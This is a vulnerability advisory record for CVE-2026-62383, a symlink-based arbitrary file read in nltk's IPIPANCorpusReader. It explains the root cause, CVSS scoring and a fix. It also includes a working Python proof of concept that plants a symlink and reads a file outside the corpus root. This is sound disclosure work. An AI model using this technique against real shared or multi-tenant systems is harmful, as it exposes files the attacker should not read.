{"id":"CVE-2026-62383","aliases":["CVE-2026-62383","GHSA-3hhw-38pf-pxj6","PYSEC-2026-3726"],"related":[],"kind":"vulnerability","state":"published","title":"nltk IPIPANCorpusReader Symlink Arbitrary File Read","summary":"nltk versions before 3.10.2 contain a symlink-based arbitrary file read vulnerability in IPIPANCorpusReader methods that bypass nltk.pathsec validation entirely. Attackers can place a symlink in the corpus root directory and read arbitrary files accessible to the process by calling channels(), domains(), categories(), or fileids() methods with the symlink filename.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"nltk versions before 3.10.2 contain a symlink-based arbitrary file read vulnerability in IPIPANCorpusReader methods that bypass nltk.pathsec validation entirely. Attackers can place a symlink in the corpus root directory and read arbitrary files accessible to the process by calling channels(), domains(), categories(), or fileids() methods with the symlink filename.","source":"cvelist"},{"lang":"en","text":"## Summary\n\n`IPIPANCorpusReader` (`nltk/corpus/reader/ipipan.py`) exposes public methods, `channels()`, `domains()`, `categories()`, and `fileids(channels=...)`, that accept a caller supplied `fileids` list and read a file via a completely unprotected builtin `open()` call, with no `nltk.pathsec` involvement at all. A symlink placed inside the corpus root, with a name containing no separators or `..`, passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.\n\n## Root cause\n\nAll four methods route through `_get_tag()`:\n\n```python\ndef _get_tag(self, f, tag):\n    tags = []\n    with open(f) as infile:   # builtin open(), no pathsec involvement\n        header = infile.read()\n    ...\n```\n\n`f` arrives via `_list_header_files()` / `_list_morph_files_by()`, both of which call:\n\n```python\nf.replace(\"morph.xml\", \"header.xml\")\n```\n\non the result of `self.abspath(...)` or `self.abspaths(...)`. `FileSystemPathPointer` subclasses `str`, so `.replace()` returns a plain Python string, silently discarding the `PathPointer` wrapper. That plain string is handed straight to builtin `open()`.\n\nThis is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (`CorpusReader.open()`, `NKJPCorpusReader.add_root()`, and the recent `FramenetCorpusReader` fix): those route file access through `nltk.pathsec.validate_path()`, at minimum the global, non-scoped check, before opening. Here, converting the `PathPointer` to a plain string before calling `open()` skips `pathsec` completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered `nltk.data.path` root.\n\nPlain literal `../` traversal in the fileid is still blocked by `FileSystemPathPointer.join()`, so this is specifically the symlink variant, not a regression of the older, simpler traversal class.\n\n## Proof of concept\n\nConstructed the normal, documented way, `fileids` as a regex over file paths, so the reader auto-discovers whatever `.xml` files exist in its root with no special knowledge of the planted symlink.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.ipipan import IPIPANCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"ipipan\")\nos.makedirs(corpus_root)\n\nwith open(os.path.join(corpus_root, \"real_morph.xml\"), \"w\") as f:\n    f.write(\"<channel>legit</channel>\")\n\nsecret_dir = os.path.join(root, \"outside_ipipan_root\")\nos.makedirs(secret_dir)\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\"<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>\")\n\nos.symlink(secret_path, os.path.join(corpus_root, \"evil_link.xml\"))\n\nreader = IPIPANCorpusReader(corpus_root, r\".*\\.xml\")\nprint(\"Auto-discovered fileids:\", sorted(reader.fileids()))\n\nresult = reader.channels(fileids=[\"evil_link.xml\"])\nprint(result)\n```\n\nActual output when run against current `develop`:\n\n```\nAuto-discovered fileids: ['evil_link.xml', 'real_morph.xml']\n['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own `fileids()` listing, exactly as a real file would.\n\nVerified separately that literal `../` traversal in the fileid is still rejected (`ValueError: Traversal blocked`), confirming this is specifically the symlink gap, not a broader regression.\n\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (`SECURITY.md` names \"shared environments... multi-tenant pipelines\" as the project's own stated threat model) plus a completely normal API call.\n- Core corpus-reader code, reached through plain `import nltk` and documented, programmatic usage (`words()`, `sents()`, `channels()`, etc.), not a demo or GUI tool.\n- Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for `FramenetCorpusReader` and `NKJPCorpusReader`.\n- Not a bypass of a claimed fix. `ipipan.py` has never had security hardening applied, and has no dedicated test coverage at all.\n\n## CVSS v3.1\n\n- **AV:L, AC:L**: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.\n- **PR:L**: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.\n- **UI:N**: fires during routine, automated corpus processing, no separate victim action.\n- **S:U**: stays within the same process's existing privileges.\n- **C:H, I:N, A:N**: arbitrary file read only, no write, no crash.\n\n## Suggested fix\n\nRoute `_get_tag()` through `nltk.pathsec.validate_path()` with the corpus root as `required_root`, or through `CorpusReader.open()`, instead of converting the `PathPointer` to a plain string and calling builtin `open()` directly. The same fix pattern already applied to `FramenetCorpusReader` and `NKJPCorpusReader` applies directly here.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Las versiones de nltk anteriores a la 3.10.2 contienen una vulnerabilidad de lectura arbitraria de archivos basada en symlink en los métodos de IPIPANCorpusReader que omiten por completo la validación de nltk.pathsec. Los atacantes pueden colocar un symlink en el directorio raíz del corpus y leer archivos arbitrarios accesibles para el proceso al llamar a los métodos channels(), domains(), categories() o fileids() con el nombre de archivo del symlink.","source":"nvd"}],"published":"2026-08-22T14:12:36.606Z","modified":"2026-10-14T13:10:00.187Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.8,"rating":"MEDIUM"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.8,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":5.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"cwes":["CWE-22","CWE-59"],"affected":[{"ranges":[{"type":"semver","introduced":"3.10.0","fixed":"3.10.2","status":"affected"},{"type":"semver","version":"3.10.2","status":"unaffected"}],"vendor":"nltk","product":"nltk","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"3.10.0","status":"affected","fixed":"3.10.2"}],"ecosystem":"PyPI","package":"nltk","purl":"pkg:pypi/nltk","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"3.10.0","fixed":"3.10.2"}],"vendor":"nltk","product":"nltk","cpe":"cpe:2.3:a:nltk:nltk:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"3.10.0","status":"affected","fixed":"3.10.2"}],"ecosystem":"PyPI","package":"nltk","purl":"pkg:pypi/nltk","source":"pysec"}],"references":[{"url":"https://github.com/nltk/nltk/security/advisories/GHSA-3hhw-38pf-pxj6","tags":["evidence","exploit","mitigation","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://www.vulncheck.com/advisories/nltk-ipipancorpusreader-symlink-arbitrary-file-read","tags":["advisory","third-party-advisory","web"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62383","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nltk/nltk/pull/3727","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/nltk/nltk/commit/ee1a42e51982c4dce6ad3ee77ff1ac43894288ab","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/nltk/nltk","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/nltk/nltk/releases/tag/v3.10.2","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3726.yaml","tags":["web"],"sources":["ghsa"]}],"credits":["LiteshGhute"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2026-08-26T15:55:30.683Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-62383","url":"https://www.cve.org/CVERecord?id=CVE-2026-62383","licence":"CVE Terms of Use","modified":"2026-08-26T16:16:35.172Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3hhw-38pf-pxj6","url":"https://github.com/advisories/GHSA-3hhw-38pf-pxj6","licence":"CC-BY-4.0","modified":"2026-09-08T16:45:03.602Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-62383","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62383","licence":"Public domain","modified":"2026-10-14T13:10:00.187Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-3726","url":"https://osv.dev/vulnerability/PYSEC-2026-3726","licence":"CC-BY-4.0","modified":"2026-08-28T20:30:02.662Z"}],"updatedAt":"2026-11-25T22:59:34.872Z","epss":{"score":0.00203,"percentile":0.10867,"date":"2026-12-01T12:00:22.000Z"}}